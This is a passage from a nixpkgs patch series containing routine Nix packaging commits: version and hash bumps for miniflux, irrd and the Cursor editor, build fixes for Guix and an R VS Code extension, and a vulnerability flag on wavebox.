@@ -90,6 +67,8 @@ stdenv.mkDerivation rec {
     autoreconfHook
     disarchive
     git
+    graphviz
+    gettext
     glibcLocales
     guile
     guile-avahi
@@ -110,6 +89,7 @@ stdenv.mkDerivation rec {
     pkg-config
     po4a
     scheme-bytestructures
+    slirp4netns
     texinfo
   ];
 
@@ -136,6 +116,7 @@ stdenv.mkDerivation rec {
     guile-zlib
     guile-zstd
     scheme-bytestructures
+    slirp4netns
   ];
 
   configureFlags = [
@@ -145,6 +126,11 @@ stdenv.mkDerivation rec {
     "--with-bash-completion-dir=$(out)/etc/bash_completion.d"
   ];
 
+  preAutoreconf = ''
+    echo ${version} > .tarball-version
+    ./bootstrap
+  '';
+
   enableParallelBuilding = true;
 
   postInstall = ''
@@ -174,8 +160,8 @@ stdenv.mkDerivation rec {
       Guix.
       Guix is based on the Nix package manager.
     '';
-    homepage = "http://www.gnu.org/software/guix";
-    changelog = "https://git.savannah.gnu.org/cgit/guix.git/plain/NEWS?h=v${version}";
+    homepage = "https://guix.gnu.org/";
+    changelog = "https://codeberg.org/guix/guix/raw/commit/${rev}/NEWS";
     license = lib.licenses.gpl3Plus;
     mainProgram = "guix";
     maintainers = with lib.maintainers; [

From 58d5614076e957a9cbd53176b7a950c4a63b1d7b Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 24 Jun 2025 18:53:22 +0200
Subject: [PATCH 1552/4511] miniflux: 2.2.9 -> 2.2.10

https://miniflux.app/releases/2.2.10.html

https://github.com/miniflux/v2/releases/tag/2.2.10

diff: https://github.com/miniflux/v2/compare/2.2.9...2.2.10
(cherry picked from commit b91f28a440a7a94e3db7a0d738cfeed57465c64b)
---
 pkgs/by-name/mi/miniflux/package.nix | 6 +++---
 pkgs/top-level/all-packages.nix      | 4 ----
 2 files changed, 3 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/mi/miniflux/package.nix b/pkgs/by-name/mi/miniflux/package.nix
index 3b8b68c3d549..de3e053a1596 100644
--- a/pkgs/by-name/mi/miniflux/package.nix
+++ b/pkgs/by-name/mi/miniflux/package.nix
@@ -9,16 +9,16 @@
 
 buildGoModule rec {
   pname = "miniflux";
-  version = "2.2.9";
+  version = "2.2.10";
 
   src = fetchFromGitHub {
     owner = "miniflux";
     repo = "v2";
     tag = version;
-    hash = "sha256-pp+QaofbU6Vkh2ifQLpUq+dbQTx/jX2JgM/9uji13tU=";
+    hash = "sha256-hCRtopJ+PN9bjnImPXKuQRq2Sk62By2+T6z17yISfds=";
   };
 
-  vendorHash = "sha256-6tgZdwr9g/VCnLUEmwAl8vzOzQu6SEGV9PhTp47eXds=";
+  vendorHash = "sha256-jKtlIDPOElp37NlOIbT6IXn2s59NqNTRNK0LbTlxWsM=";
 
   nativeBuildInputs = [ installShellFiles ];
 
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 01fd60c9f69c..657fa36911ed 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -10714,10 +10714,6 @@ with pkgs;
   mssql_jdbc = callPackage ../servers/sql/mssql/jdbc { };
   jtds_jdbc = callPackage ../servers/sql/mssql/jdbc/jtds.nix { };
 
-  miniflux = callPackage ../by-name/mi/miniflux/package.nix {
-    buildGoModule = buildGo123Module;
-  };
-
   inherit (callPackage ../servers/mir { })
     mir
     mir_2_15

From 7f9fe538d67070b2a45c39d70b456c4216dc8eec Mon Sep 17 00:00:00 2001
From: Florian RICHER <florian.richer@protonmail.com>
Date: Tue, 24 Jun 2025 18:51:54 +0200
Subject: [PATCH 1553/4511] unigine-superposition: Set mainProgram to
 unigine-superposition

(cherry picked from commit 3508836c7884d0b324b7d7aa5bee420ea78074fb)
---
 pkgs/applications/graphics/unigine-superposition/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/unigine-superposition/default.nix b/pkgs/applications/graphics/unigine-superposition/default.nix
index 3398b7eee553..8510096d8d20 100644
--- a/pkgs/applications/graphics/unigine-superposition/default.nix
+++ b/pkgs/applications/graphics/unigine-superposition/default.nix
@@ -87,7 +87,7 @@ let
 
   desktopItem = makeDesktopItem {
     name = "Superposition";
-    exec = "superposition";
+    exec = "unigine-superposition";
     genericName = "A GPU Stress test tool from the UNIGINE";
     icon = "Superposition";
     desktopName = "Superposition Benchmark";
@@ -145,6 +145,6 @@ buildFHSEnv {
     license = lib.licenses.unfree;
     maintainers = [ lib.maintainers.BarinovMaxim ];
     platforms = [ "x86_64-linux" ];
-    mainProgram = "Superposition";
+    mainProgram = "unigine-superposition";
   };
 }

From 92596b9743a4f0bbacc44732bf8171d1781f06ac Mon Sep 17 00:00:00 2001
From: Yureka <yureka@cyberchaos.dev>
Date: Wed, 25 Jun 2025 14:50:18 +0200
Subject: [PATCH 1554/4511] irrd: 4.4.4 -> 4.5.0b1, fix build

We can no longer reasonabley use sqlalchemy 1.3, so update to the beta which has sqlalchemy 1.4

Diff: https://github.com/irrdnet/irrd/compare/v4.4.4...v4.5.0b1
Release notes: https://irrd.readthedocs.io/en/latest/releases/4.5.0/

(cherry picked from commit 5a3ef150d6512c4d926bfd4eddecd830e01b2698)
---
 pkgs/by-name/ir/irrd/package.nix | 51 ++++++++------------------------
 1 file changed, 13 insertions(+), 38 deletions(-)

diff --git a/pkgs/by-name/ir/irrd/package.nix b/pkgs/by-name/ir/irrd/package.nix
index 0c17dffbcffa..0ec3999a9a92 100644
--- a/pkgs/by-name/ir/irrd/package.nix
+++ b/pkgs/by-name/ir/irrd/package.nix
@@ -15,29 +15,17 @@ let
   py = python3.override {
     self = py;
     packageOverrides = final: prev: {
-      # sqlalchemy 1.4.x or 2.x are not supported
-      sqlalchemy = prev.sqlalchemy_1_4.overridePythonAttrs (oldAttrs: rec {
-        version = "1.3.24";
-        src = fetchPypi {
-          pname = "SQLAlchemy";
-          inherit version;
-          hash = "sha256-67t3fL+TEjWbiXv4G6ANrg9ctp+6KhgmXcwYpvXvdRk=";
-        };
-        postPatch = ''
-          sed -i '/tag_build = dev/d' setup.cfg
-        '';
-        doCheck = false;
-      });
-      alembic = prev.alembic.overridePythonAttrs (
-        lib.const {
-          doCheck = false;
-        }
-      );
+      # sqlalchemy 2.0 is not supported
+      sqlalchemy = prev.sqlalchemy_1_4;
+
+      # checkInputs do not work wiht sqlalchemy < 2.0
       factory-boy = prev.factory-boy.overridePythonAttrs (
         lib.const {
           doCheck = false;
         }
       );
+
+      # https://github.com/irrdnet/irrd/blob/22fe77e46ef1b4e43e346257795e171e7ee70d44/pyproject.toml#L30
       beautifultable = prev.beautifultable.overridePythonAttrs (oldAttrs: rec {
         version = "0.8.0";
         src = fetchPypi {
@@ -53,34 +41,19 @@ in
 
 py.pkgs.buildPythonPackage rec {
   pname = "irrd";
-  version = "4.4.4";
+  version = "4.5.0b1";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "irrdnet";
     repo = "irrd";
     rev = "v${version}";
-    hash = "sha256-UIOKXU92JEOeVdpYLNmDBtLn0u3LMdKItcn9bFd9u8g=";
+    hash = "sha256-Hr/PbC4N/yrYeQ7bTfqIchDFmaL3c4afxV1XS7FR1F8=";
   };
 
-  patches = [
-    # starlette 0.37.2 reverted the behaviour change which this adjusted to
-    (fetchpatch {
-      url = "https://github.com/irrdnet/irrd/commit/43e26647e18f8ff3459bbf89ffbff329a0f1eed5.patch";
-      revert = true;
-      hash = "sha256-G216rHfWMZIl9GuXBz6mjHCIm3zrfDDLSmHQK/HkkzQ=";
-    })
-    # Backport build fix for webauthn 2.1
-    (fetchpatch {
-      url = "https://github.com/irrdnet/irrd/commit/20b771e1ee564f38e739fdb0a2a79c10319f638f.patch";
-      hash = "sha256-PtNdhSoFPT1kt71kFsySp/VnUpUdO23Gu9FKknHLph8=";
-      includes = [ "irrd/webui/auth/endpoints_mfa.py" ];
-    })
-  ];
-
   postPatch = ''
     substituteInPlace pyproject.toml \
-      --replace-fail psycopg2-binary psycopg2
+      --replace-fail py-radix py-radix-sr
   '';
   pythonRelaxDeps = true;
 
@@ -131,7 +104,7 @@ py.pkgs.buildPythonPackage rec {
       pydantic
       typing-extensions
       py-radix-sr
-      psycopg2
+      psycopg2-binary
       sqlalchemy
       alembic
       ujson
@@ -149,12 +122,14 @@ py.pkgs.buildPythonPackage rec {
       wtforms-bootstrap5
       email-validator
       jinja2
+      joserfc
+      time-machine
     ]
     ++ py.pkgs.uvicorn.optional-dependencies.standard;
 
   preCheck = ''
     export SMTPD_HOST=127.0.0.1
-    export IRRD_DATABASE_URL="postgres:///$PGDATABASE"
+    export IRRD_DATABASE_URL="postgresql:///$PGDATABASE"
     export IRRD_REDIS_URL="redis://localhost/1"
   '';
 

From 2dd12d0b76e2c7f442672f557a7461421cc88915 Mon Sep 17 00:00:00 2001
From: Gavin John <gavinnjohn@gmail.com>
Date: Tue, 24 Jun 2025 12:22:37 -0400
Subject: [PATCH 1555/4511] vscode-extensions.reditorsupport.r: install
 languageserver correctly

(cherry picked from commit 6c5d2ecc42df044b1c9ef1f8e002db6200731a2d)
---
 .../extensions/reditorsupport.r/default.nix       | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix b/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
index 85359d2a95ca..592b09d7903e 100644
--- a/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/reditorsupport.r/default.nix
@@ -3,8 +3,11 @@
   vscode-utils,
   jq,
   moreutils,
-  python311Packages,
+  languageserver ? rPackages.languageserver,
   R,
+  radian ? python311Packages.radian,
+
+  python311Packages,
   rPackages,
 }:
 
@@ -19,17 +22,13 @@ vscode-utils.buildVscodeMarketplaceExtension {
     jq
     moreutils
   ];
-  buildInputs = [
-    python311Packages.radian
-    R
-    rPackages.languageserver
-  ];
   postInstall = ''
     cd "$out/$installPrefix"
     jq '.contributes.configuration.properties."r.rpath.mac".default = "${lib.getExe' R "R"}"' package.json | sponge package.json
     jq '.contributes.configuration.properties."r.rpath.linux".default = "${lib.getExe' R "R"}"' package.json | sponge package.json
-    jq '.contributes.configuration.properties."r.rterm.mac".default = "${lib.getExe python311Packages.radian}"' package.json | sponge package.json
-    jq '.contributes.configuration.properties."r.rterm.linux".default = "${lib.getExe python311Packages.radian}"' package.json | sponge package.json
+    jq '.contributes.configuration.properties."r.rterm.mac".default = "${lib.getExe radian}"' package.json | sponge package.json
+    jq '.contributes.configuration.properties."r.rterm.linux".default = "${lib.getExe radian}"' package.json | sponge package.json
+    jq '.contributes.configuration.properties."r.libPaths".default = [ "${languageserver}/library" ]' package.json | sponge package.json
   '';
   meta = {
     changelog = "https://marketplace.visualstudio.com/items/REditorSupport.r/changelog";

From c01a1f2d3b68e1905cc5fe1eddc9e7a1679ea252 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 25 Jun 2025 17:01:18 +0200
Subject: [PATCH 1556/4511] wavebox: mark as vulnerable

---
 pkgs/by-name/wa/wavebox/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/wa/wavebox/package.nix b/pkgs/by-name/wa/wavebox/package.nix
index 22f49638e404..41c1daa3b4a3 100644
--- a/pkgs/by-name/wa/wavebox/package.nix
+++ b/pkgs/by-name/wa/wavebox/package.nix
@@ -236,6 +236,9 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   meta = {
+    knownVulnerabilities = [
+      "wavebox has been removed in NixOS unstable. It's an unmaintained security relevant package"
+    ];
     description = "Wavebox Productivity Browser";
     homepage = "https://wavebox.io";
     license = lib.licenses.unfree;

From a73d870f1d30f3e078649017a87518b6c2300495 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 18 May 2025 13:54:08 +0800
Subject: [PATCH 1557/4511] code-cursor: add prince213 to maintainers

(cherry picked from commit 293bb8f3489419dde88799538cefac61fe2d150b)
---
 pkgs/by-name/co/code-cursor/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 2e37479f805f..0b55208394bb 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -191,6 +191,7 @@ stdenvNoCC.mkDerivation {
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     maintainers = with lib.maintainers; [
       aspauldingcode
+      prince213
     ];
     platforms = lib.platforms.linux ++ lib.platforms.darwin;
     mainProgram = "cursor";

From 13a5b85846696d7246624abeaeb248f4456c4f22 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 18 May 2025 13:51:21 +0800
Subject: [PATCH 1558/4511] code-cursor: 0.49.6 -> 0.50.5

(cherry picked from commit c0099261f9316d75150231b62289befda8911de5)
---
 pkgs/by-name/co/code-cursor/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 0b55208394bb..118866891f9b 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -49,26 +49,26 @@
 }:
 let
   pname = "cursor";
-  version = "0.49.6";
+  version = "0.50.5";
 
   inherit (stdenvNoCC) hostPlatform;
 
   sources = {
     x86_64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/0781e811de386a0c5bcb07ceb259df8ff8246a52/linux/x64/Cursor-0.49.6-x86_64.AppImage";
-      hash = "sha256-WH4/Zw0VJmRGyRzMlkThkhZ4fGysMKBUSIPCTsyGS4w=";
+      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/linux/x64/Cursor-0.50.5-x86_64.AppImage";
+      hash = "sha256-DUWIgQYD3Wj6hF7NBb00OGRynKmXcFldWFUA6W8CZeM=";
     };
     aarch64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/0781e811de386a0c5bcb07ceb259df8ff8246a52/linux/arm64/Cursor-0.49.6-aarch64.AppImage";
-      hash = "sha256-cpNoff6mDRkT2RicaDlxzqVP9BNe6UEGgJVHr1xMiv0=";
+      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/linux/arm64/Cursor-0.50.5-aarch64.AppImage";
+      hash = "sha256-51zTYg4A+4ZUbGZ6/Qp3d5aL8IafewGOUYbXWGG8ILY=";
     };
     x86_64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/0781e811de386a0c5bcb07ceb259df8ff8246a52/darwin/x64/Cursor-darwin-x64.dmg";
-      hash = "sha256-fAaLY9YTIuNThFl5OsIMHavy2xwDgYooL4xTSp4Cwzw=";
+      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/darwin/x64/Cursor-darwin-x64.dmg";
+      hash = "sha256-C2+z3WXi3Ma3PzlU8BrcuJFGMx8YosNdxuSqR5tJdBE=";
     };
     aarch64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/0781e811de386a0c5bcb07ceb259df8ff8246a52/darwin/arm64/Cursor-darwin-arm64.dmg";
-      hash = "sha256-DNN2+gfs9u0tZmh75J258d2TL6ErIYludMgPJZcgfb8=";
+      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/darwin/arm64/Cursor-darwin-arm64.dmg";
+      hash = "sha256-Gz+aYDaDMDx46R7HA8u5vZwkXx9q//uu4hNyyRmrq9s=";
     };
   };
 

From 00b968d4ba557a85117a3bac0a1624128faec4ee Mon Sep 17 00:00:00 2001
From: Mohammad Al-Ahdal <mo@mohammad.dev>
Date: Wed, 4 Jun 2025 20:30:50 -0600
Subject: [PATCH 1559/4511] code-cursor: 0.50.5 -> 1.0.0

(cherry picked from commit 67ec01ff282fecf7d2ae8e1086fb88a7159dc6b7)
---
 pkgs/by-name/co/code-cursor/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 118866891f9b..f0c63faeff39 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -49,26 +49,26 @@
 }:
 let
   pname = "cursor";
-  version = "0.50.5";
+  version = "1.0.0";
 
   inherit (stdenvNoCC) hostPlatform;
 
   sources = {
     x86_64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/linux/x64/Cursor-0.50.5-x86_64.AppImage";
-      hash = "sha256-DUWIgQYD3Wj6hF7NBb00OGRynKmXcFldWFUA6W8CZeM=";
+      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/linux/x64/Cursor-1.0.0-x86_64.AppImage";
+      hash = "sha256-HJiT3aDB66K2slcGJDC21+WhK/kv4KCKVZgupbfmLG0=";
     };
     aarch64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/linux/arm64/Cursor-0.50.5-aarch64.AppImage";
-      hash = "sha256-51zTYg4A+4ZUbGZ6/Qp3d5aL8IafewGOUYbXWGG8ILY=";
+      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/linux/arm64/Cursor-1.0.0-aarch64.AppImage";
+      hash = "sha256-/F+OUD+sjnIt2ishusi7F/W1kK/n7hwL7Bz1cO3u+x4=";
     };
     x86_64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/darwin/x64/Cursor-darwin-x64.dmg";
-      hash = "sha256-C2+z3WXi3Ma3PzlU8BrcuJFGMx8YosNdxuSqR5tJdBE=";
+      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/darwin/x64/Cursor-darwin-x64.dmg";
+      hash = "sha256-7JTgauy+vdoaPOtbYjhSCR+ZtVwzRYKHVelpnvS5oKw=";
     };
     aarch64-darwin = fetchurl {
-      url = "https://downloads.cursor.com/production/96e5b01ca25f8fbd4c4c10bc69b15f6228c80771/darwin/arm64/Cursor-darwin-arm64.dmg";
-      hash = "sha256-Gz+aYDaDMDx46R7HA8u5vZwkXx9q//uu4hNyyRmrq9s=";
+      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/darwin/arm64/Cursor-darwin-arm64.dmg";
+      hash = "sha256-kbSN4+ozVGVAGLqEuaDnWBNfzmFHYdAvbOsCb/KTpe8=";
     };
   };
 

From 7f1cfe7a51ec7a48d2a780444ced78e65ba33802 Mon Sep 17 00:00:00 2001
From: Kamil Monicz <kamil@monicz.dev>
Date: Fri, 6 Jun 2025 06:56:19 +0200
Subject: [PATCH 1560/4511] code-cursor: use generic vscode package builder

(cherry picked from commit 4ecec0b6f6df49f10ee5414c43bf1201bff076d1)
---
 pkgs/applications/editors/vscode/generic.nix |   5 +
 pkgs/by-name/co/code-cursor/package.nix      | 203 +++++--------------
 pkgs/top-level/all-packages.nix              |   6 +
 3 files changed, 67 insertions(+), 147 deletions(-)

diff --git a/pkgs/applications/editors/vscode/generic.nix b/pkgs/applications/editors/vscode/generic.nix
index 0f1ad0aca010..be51acc0b3ac 100644
--- a/pkgs/applications/editors/vscode/generic.nix
+++ b/pkgs/applications/editors/vscode/generic.nix
@@ -53,6 +53,7 @@
   useVSCodeRipgrep ? false,
   ripgrep,
   hasVsceSign ? false,
+  patchVSCodePath ? true,
 }:
 
 stdenv.mkDerivation (
@@ -262,9 +263,13 @@ stdenv.mkDerivation (
             mkdir -p "$out/share/pixmaps"
             cp "$out/lib/${libraryName}/resources/app/resources/linux/code.png" "$out/share/pixmaps/${iconName}.png"
 
+          ''
+          + (lib.optionalString patchVSCodePath ''
             # Override the previously determined VSCODE_PATH with the one we know to be correct
             sed -i "/ELECTRON=/iVSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}"
             grep -q "VSCODE_PATH='$out/lib/${libraryName}'" "$out/bin/${executableName}" # check if sed succeeded
+          '')
+          + ''
 
             # Remove native encryption code, as it derives the key from the executable path which does not work for us.
             # The credentials should be stored in a secure keychain already, so the benefit of this is questionable
diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index f0c63faeff39..8d00f27908a8 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -1,57 +1,18 @@
 {
   lib,
-  stdenvNoCC,
+  stdenv,
+  callPackage,
+  vscode-generic,
   fetchurl,
-
-  # build
   appimageTools,
-
-  # linux dependencies
-  alsa-lib,
-  at-spi2-atk,
-  autoPatchelfHook,
-  cairo,
-  cups,
-  curlWithGnuTls,
-  egl-wayland,
-  expat,
-  fontconfig,
-  freetype,
-  ffmpeg,
-  glib,
-  glibc,
-  glibcLocales,
-  gtk3,
-  libappindicator-gtk3,
-  libdrm,
-  libgbm,
-  libGL,
-  libnotify,
-  libva-minimal,
-  libxkbcommon,
-  libxkbfile,
-  makeWrapper,
-  nspr,
-  nss,
-  pango,
-  pciutils,
-  pulseaudio,
-  vivaldi-ffmpeg-codecs,
-  vulkan-loader,
-  wayland,
-
-  # linux installation
-  rsync,
-  commandLineArgs ? "",
-
-  # darwin build
   undmg,
+  commandLineArgs ? "",
+  useVSCodeRipgrep ? stdenv.hostPlatform.isDarwin,
 }:
-let
-  pname = "cursor";
-  version = "1.0.0";
 
-  inherit (stdenvNoCC) hostPlatform;
+let
+  inherit (stdenv) hostPlatform;
+  finalCommandLineArgs = "--update=false " + commandLineArgs;
 
   sources = {
     x86_64-linux = fetchurl {
@@ -73,115 +34,47 @@ let
   };
 
   source = sources.${hostPlatform.system};
-
-  # Linux -- build from AppImage
-  appimageContents = appimageTools.extractType2 {
-    inherit version pname;
-    src = source;
-  };
-
-  wrappedAppimage = appimageTools.wrapType2 {
-    inherit version pname;
-    src = source;
-  };
-
 in
-stdenvNoCC.mkDerivation {
-  inherit pname version;
+(callPackage vscode-generic rec {
+  inherit useVSCodeRipgrep;
+  commandLineArgs = finalCommandLineArgs;
 
-  src = if hostPlatform.isLinux then wrappedAppimage else source;
+  version = "1.0.0";
+  pname = "cursor";
 
-  nativeBuildInputs =
-    lib.optionals hostPlatform.isLinux [
-      autoPatchelfHook
-      glibcLocales
-      makeWrapper
-      rsync
-    ]
-    ++ lib.optionals hostPlatform.isDarwin [ undmg ];
+  # You can find the current VSCode version in the About dialog:
+  # workbench.action.showAboutDialog (Help: About)
+  vscodeVersion = "1.96.2";
 
-  buildInputs = lib.optionals hostPlatform.isLinux [
-    alsa-lib
-    at-spi2-atk
-    cairo
-    cups
-    curlWithGnuTls
-    egl-wayland
-    expat
-    ffmpeg
-    glib
-    gtk3
-    libdrm
-    libgbm
-    libGL
-    libva-minimal
-    libxkbcommon
-    libxkbfile
-    nspr
-    nss
-    pango
-    pulseaudio
-    vivaldi-ffmpeg-codecs
-    vulkan-loader
-    wayland
-  ];
+  executableName = "cursor";
+  longName = "Cursor";
+  shortName = "cursor";
+  libraryName = "cursor";
+  iconName = "cursor";
 
-  runtimeDependencies = lib.optionals hostPlatform.isLinux [
-    egl-wayland
-    ffmpeg
-    glibc
-    libappindicator-gtk3
-    libnotify
-    libxkbfile
-    pciutils
-    pulseaudio
-    wayland
-    fontconfig
-    freetype
-  ];
+  src =
+    if hostPlatform.isLinux then
+      appimageTools.extract {
+        inherit pname version;
+        src = source;
+      }
+    else
+      source;
 
-  sourceRoot = lib.optionalString hostPlatform.isDarwin ".";
+  sourceRoot =
+    if hostPlatform.isLinux then "${pname}-${version}-extracted/usr/share/cursor" else "Cursor.app";
 
-  # Don't break code signing
-  dontUpdateAutotoolsGnuConfigScripts = hostPlatform.isDarwin;
-  dontConfigure = hostPlatform.isDarwin;
-  dontFixup = hostPlatform.isDarwin;
+  tests = { };
 
-  installPhase = ''
-    runHook preInstall
-    mkdir -p $out/
+  updateScript = ./update.sh;
 
-    ${lib.optionalString hostPlatform.isLinux ''
-      cp -r bin $out/bin
-      # mkdir -p $out/share/cursor
-      # cp -ar ${appimageContents}/usr/share $out/
+  # Editing the `cursor` binary within the app bundle causes the bundle's signature
+  # to be invalidated, which prevents launching starting with macOS Ventura, because Cursor is notarized.
+  # See https://eclecticlight.co/2022/06/17/app-security-changes-coming-in-ventura/ for more information.
+  dontFixup = stdenv.hostPlatform.isDarwin;
 
-      rsync -a -q ${appimageContents}/usr/share $out/ --exclude "*.so"
-
-      # Fix the desktop file to point to the correct location
-      substituteInPlace $out/share/applications/cursor.desktop --replace-fail "/usr/share/cursor/cursor" "$out/bin/cursor"
-
-      wrapProgram $out/bin/cursor \
-        --add-flags "--update=false" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}} --no-update" \
-        --add-flags ${lib.escapeShellArg commandLineArgs}
-    ''}
-
-    ${lib.optionalString hostPlatform.isDarwin ''
-      APP_DIR="$out/Applications"
-      mkdir -p "$APP_DIR"
-      cp -Rp Cursor.app "$APP_DIR"
-      mkdir -p "$out/bin"
-      ln -s "$APP_DIR/Cursor.app/Contents/Resources/app/bin/cursor" "$out/bin/cursor"
-    ''}
-
-    runHook postInstall
-  '';
-
-  passthru = {
-    inherit sources;
-    updateScript = ./update.sh;
-  };
+  # Cursor has no wrapper script.
+  patchVSCodePath = false;
 
   meta = {
     description = "AI-powered code editor built on vscode";
@@ -196,4 +89,20 @@ stdenvNoCC.mkDerivation {
     platforms = lib.platforms.linux ++ lib.platforms.darwin;
     mainProgram = "cursor";
   };
-}
+}).overrideAttrs
+  (oldAttrs: {
+    nativeBuildInputs =
+      (oldAttrs.nativeBuildInputs or [ ])
+      ++ lib.optionals hostPlatform.isDarwin [ undmg ];
+
+    preInstall =
+      (oldAttrs.preInstall or "")
+      + lib.optionalString hostPlatform.isLinux ''
+        mkdir -p bin
+        ln -s ../cursor bin/cursor
+      '';
+
+    passthru = (oldAttrs.passthru or { }) // {
+      inherit sources;
+    };
+  })
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 657fa36911ed..81ba617eef44 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -14464,6 +14464,12 @@ with pkgs;
   vscodium-fhs = vscodium.fhs;
   vscodium-fhsWithPackages = vscodium.fhsWithPackages;
 
+  code-cursor = callPackage ../by-name/co/code-cursor/package.nix {
+    vscode-generic = ../applications/editors/vscode/generic.nix;
+  };
+  code-cursor-fhs = code-cursor.fhs;
+  code-cursor-fhsWithPackages = code-cursor.fhsWithPackages;
+
   windsurf = callPackage ../by-name/wi/windsurf/package.nix {
     vscode-generic = ../applications/editors/vscode/generic.nix;
   };

From dacfb4adc0b4ffbd86515d409f6fa3ccb23220cb Mon Sep 17 00:00:00 2001
From: Kamil Monicz <kamil@monicz.dev>
Date: Fri, 13 Jun 2025 14:45:32 +0200
Subject: [PATCH 1561/4511] code-cursor: specify linux platforms explicitly

Co-authored-by: Masum Reza <50095635+JohnRTitor@users.noreply.github.com>
(cherry picked from commit 0f4dd70e9d37dae1736ae9d10d5f78b299e49b2c)
---
 pkgs/by-name/co/code-cursor/package.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index 8d00f27908a8..ec80caef8762 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -86,7 +86,10 @@ in
       aspauldingcode
       prince213
     ];
-    platforms = lib.platforms.linux ++ lib.platforms.darwin;
+    platforms = [
+      "aarch64-linux"
+      "x86_64-linux"
+    ] ++ lib.platforms.darwin;
     mainProgram = "cursor";
   };
 }).overrideAttrs

From 19ff1fe3db97019d3313b69b28c6fbec47db9538 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 13:05:57 +0000
Subject: [PATCH 1562/4511] code-cursor: 1.0.0 -> 1.1.3

(cherry picked from commit b88508efe084e550c2edb5e7da56a8de252934eb)
---
 pkgs/by-name/co/code-cursor/package.nix | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/co/code-cursor/package.nix b/pkgs/by-name/co/code-cursor/package.nix
index ec80caef8762..2f228d1ed763 100644
--- a/pkgs/by-name/co/code-cursor/package.nix
+++ b/pkgs/by-name/co/code-cursor/package.nix
@@ -16,20 +16,20 @@ let
 
   sources = {
     x86_64-linux = fetchurl {
-      url = "https://downloads.cursor.com/production/53b99ce608cba35127ae3a050c1738a959750865/linux/x64/Cursor-1.0.0-x86_64.AppImage";
-      hash = "sha256-HJiT3aDB66K2slcGJDC21+WhK/kv4KCKVZgupbfmLG0=";
+      url = "https://downloads.cursor.com/production/979ba33804ac150108481c14e0b5cb970bda3266/linux/x64/Cursor-1.1.3-x86_64.AppImage";
+      hash = "sha256-mOwWNbKKykMaLFxfjaoGGrxfyhLX++fqJ0TXQtKVD8c=";
     };
     aarch64-linux = fetchurl {
